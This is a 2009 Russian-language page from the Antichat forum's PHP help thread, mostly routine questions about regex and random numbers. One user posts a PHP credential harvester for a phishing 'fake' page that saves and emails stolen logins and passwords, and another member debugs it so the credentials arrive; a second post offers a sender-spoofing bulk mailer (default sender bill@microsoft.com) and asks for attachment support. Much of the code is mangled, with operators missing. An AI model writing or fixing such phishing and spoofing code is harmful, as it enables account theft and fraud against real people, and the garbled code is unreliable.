ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9161  
Старый 02.03.2009, 19:40
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме:
2375039

Репутация: 1160
Отправить сообщение для DDoSька с помощью ICQ
По умолчанию

Цитата:
Сообщение от heretic1990  
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
preg_match('#<nobr>(.*)</nobr>#',$in,$out);
 
Ответить с цитированием

  #9162  
Старый 02.03.2009, 19:44
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

всем спс
 
Ответить с цитированием

  #9163  
Старый 02.03.2009, 20:11
chlp
Новичок
Регистрация: 07.12.2008
Сообщений: 10
Провел на форуме:
46291

Репутация: 8
По умолчанию

function wans($to)
{
$th=rand(1,100);
if($th<=$to) return TRUE;
return FALSE;
}
 
Ответить с цитированием

  #9164  
Старый 02.03.2009, 20:53
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме:
1050637

Репутация: 27
По умолчанию

не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
 
Ответить с цитированием

  #9165  
Старый 02.03.2009, 21:08
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Сделал фейк.
Тестирую.
И захотелось, чтобы приходило уведомление на email

Нацарапал следующий скрипт(аналог со скамом из Хакера)
PHP код:
<?php
    
if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса 
$message $_POST["user"]; // наши переменные
$message $_POST["password"]; // наши переменные

$good 'GOOD.txt'//название файла, в который будут записыватся данные 
$good fopen($good,'a'); // открыие файла 
$send $_POST['user'].':'.$_POST['password']; //создание запроса 
fwrite($good$send."\n"); //запись в файл 
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу 
?>
<?php
if (empty($_POST["user"]) || empty($_POST["password"])){

mail("мой майл""info"$_POST["password"]);

mail("$message""eshat"$message); 

};

?>
Проблема в том, что он посылает email уведомление, но совершенно пустое.
Там не фиксируются логины и пароли.

Можете помочь?
 
Ответить с цитированием

  #9166  
Старый 02.03.2009, 21:15
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

ВО 1 .. я не понел строки ..

$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные

зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)

Во 2

if (empty($_POST["user"]) || empty($_POST["password"])){

отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?

В 3

echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";

ставь после отсылки уведомления ...

Последний раз редактировалось Doom123; 02.03.2009 в 21:24..
 
Ответить с цитированием

  #9167  
Старый 02.03.2009, 21:23
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Цитата:
ВО 1 .. я не понел строки ..

$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные

зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Перезаписываю?
Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
вася : вася

Цитата:
Во 2

if (empty($_POST["user"]) || empty($_POST["password"])){

отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
Данные логина и пароля.
Я не понял следующего:
Цитата:
отсылка уведомления идёт только когда один из них или они оба пустые ...
В каком случае тогда не приходят уведомления? Когда они не пустые?
То есть их нужно задать снова?
 
Ответить с цитированием

  #9168  
Старый 02.03.2009, 21:29
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

Ershik мдяя ... слу мож ты книжку хоть почитаешь ...

$message - суперпеременная ? Оо
еси хочешь в таком виде такделай как сделанов перемменой $send

у тебя условие идёт ...

ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
а тут отправка уведомления ...

делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
 
Ответить с цитированием

  #9169  
Старый 02.03.2009, 21:41
Andrej1928
Новичок
Регистрация: 19.11.2008
Сообщений: 6
Провел на форуме:
16517

Репутация: 1
По умолчанию

PHP код:
 <?php 

print <<<HERE 
<style type "text/css"
body 
  
font-familyArial


#inputone { 
  
width100%; 


#textarea { 
  
width100%; 
  
height500px


#infotd { 
  
font-size13px
  
width100px


#infotd2 { 
  
font-size13px


#bgcolor_infotd { 
  
background-color#dbeaff; 


#good_send { 
  
color#00419a; 


#sends { 
  
width20px


#notice { 
  
colorred


</
style

HERE

$html_or_text $_GET["html_or_text"]; 
$sends $_GET["sendes"]; 

if(
$_GET["html_or_text"] == 1) { 
  
$htmltext "\r\nContent-type: text/plain"
} else if (
$_GET["html_or_text"] == 2) { 
  
$htmltext "\r\nContent-type: text/html"
} else {} 

if(
$_GET["codir"] == 1) { 
  
$cod "windows-1251"
} else if (
$_GET["codir"] == 2){ 
  
iconv("windows-1251""utf-8"$email $them $body $send_full $htmltext); 
  
$cod "utf-8"
} else {} 

$mime "$htmltext; charset = \"$cod\""

if(
$_GET["sender_name"] == TRUE) { 
  
$sender_full $sender_name " <" $sender_mail ">"
} else { 
  
$sender_full $sender_mail

   
if(isset(
$_GET["send"])) { 
  for(
$i 0$i $_GET["sendes"]; $i++) { 
    
mail("$email""$them""$body""From: $sender_full $mime"); 
  } 
  print 
"<center><span id = \"good_send\">Сообщение отправлено</span></center>"
  
$fp fopen("result.txt""a"); 
  
$content = <<<HERE 
IP
$REMOTE_ADDR 
Agent
$HTTP_USER_AGENT 
Cookie
$QUERY_STRING 

Отправитель (e-mail): $sender_mail 
Отправитель 
(имя): $sender_name 
E
-mail$email 
Тема
$them 
Текст письма 

$body 
text
/html$html_or_text 
Количество писем за раз
$sends 
----------------------------- 

HERE

  
fputs($fp$content); 
  
fclose($fp); 
} else { 
  print <<<
HERE 
      
<form
  <
table border "0" width "100%" id "infotd2" cellpadding "1" cellspacing "1"
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
От кого (e-mail): 
    </
td
    <
td
        <
input type "text" id "inputone" name "sender_mail" value "bill@microsoft.com" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
От кого (Имя): 
    </
td
    <
td
        <
input type "text" id "inputone" name "sender_name" value "Билл" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
Кому<span id "notice">*</span>: 
    </
td
    <
td
        <
input type "text" id "inputone" name "email" value "admin@mail.ru" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
Тема письма<span id "notice">*</span>: 
    </
td
    <
td
        <
input type "text" id "inputone" name "them" value "Hello" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td valign "top" id "infotd"
      
Текст письма<span id "notice">*</span>: 
    </
td
    <
td
        <
textarea name "body" id "textarea">You are lol:)</textarea
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        <
input type "radio" name "html_or_text" value "1" checked "checked">Только текст 
        
<input type "radio" name "html_or_text" value "2">HTML и текст 
    
</td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Количество писем за раз
        <
select name "sendes"
          <
option value "1">1</option
          <
option value "2">2</option
          <
option value "3">3</option
          <
option value "4">4</option
          <
option value "5">5</option
          <
option value "6">6</option
          <
option value "7">7</option
          <
option value "8">8</option
          <
option value "9">9</option
          <
option value "10">10</option
          <
option value "11">11</option
          <
option value "12">12</option
          <
option value "13">13</option
          <
option value "14">14</option
          <
option value "15">15</option
          <
option value "16">16</option
          <
option value "17">17</option
          <
option value "18">18</option
          <
option value "19">19</option
          <
option value "20">20</option
       </
select
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Кодировка письма
        <
select name "codir"
          <
option value "1">windows-1251</option
          <
option value "2">utf-8</option
       </
select
    </
td
  </
tr
  <
tr
    <
td valign "top" colspan "2"
  <
table border "0" width "100%" id "infotd2"
    <
td valign "top"
      
Поля отмеченные знаком <span id "notice">*</spanобязательны для заполнения 
    
</td
    <
td colspan "2" align "right"
        <
input type "reset" value "Вернуть" /> 
        <
input type "submit" value "Отправить" /> 
        <
input type "hidden" name "send" /> 
    </
td
  <
table
    </
td
  </
tr
      </
form

HERE



?>
Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён
буду очень блогодарин за помощь.
 
Ответить с цитированием

  #9170  
Старый 02.03.2009, 22:21
awdrg
Участник форума
Регистрация: 30.01.2009
Сообщений: 196
Провел на форуме:
505362

Репутация: 66
Отправить сообщение для awdrg с помощью ICQ
По умолчанию

Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ